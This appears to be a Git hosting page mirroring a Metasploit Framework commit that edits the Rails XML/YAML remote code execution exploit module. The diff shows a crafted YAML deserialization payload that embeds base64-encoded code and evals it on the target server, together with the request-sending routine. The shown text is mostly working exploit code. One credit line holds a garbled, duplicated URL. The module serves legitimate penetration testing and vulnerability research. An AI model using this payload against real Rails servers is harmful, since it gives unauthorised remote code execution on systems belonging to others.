infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

This restores functionality across all rails 3.x

bug/bundler_fix
HD Moore 2013-01-10 00:28:12 -06:00
parent 0e92de8f61
commit acabc14ec3
1 changed files with 7 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
modules/exploits/multi/http/rails_xml_yaml_code_exec.rb
View File

@ -27,7 +27,8 @@ class Metasploit3 < Msf::Exploit::Remote
'charlisome', # PoC 'charlisome', # PoC
'espes', # PoC and Metasploit module 'espes', # PoC and Metasploit module
'toothfairy', # Anonymous contributor 'toothfairy', # Anonymous contributor
'hdm' # Module merge/conversion/payload work 'hdm', # Module merge/conversion/payload work
'Postmodern' # The __END__ trick from https:https://gist.github.com/4499206//gist.github.com/4499206
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' => 'References' =>
@ -87,8 +88,10 @@ class Metasploit3 < Msf::Exploit::Remote
code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) ) code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
yaml = yaml =
"--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" + "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
"'; (eval(%[#{code}].unpack(%[m0])[0]); @e=true) unless @e #':" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
" !ruby/object:OpenStruct\n table:\n :defaults: {}\n" "eval(%[#{code}].unpack(%[m0])[0]);' " +
": !ruby/object:OpenStruct\n table:\n :defaults: {}\n"
yaml
end end
@ -137,6 +140,7 @@ class Metasploit3 < Msf::Exploit::Remote
# #
def exploit def exploit
data = build_request data = build_request
print_status("Sending #{data.length} bytes to #{rhost}:#{rport}...")
res = send_request_cgi({ res = send_request_cgi({
'uri' => datastore['URIPATH'] || "/", 'uri' => datastore['URIPATH'] || "/",
'method' => datastore['HTTP_METHOD'], 'method' => datastore['HTTP_METHOD'],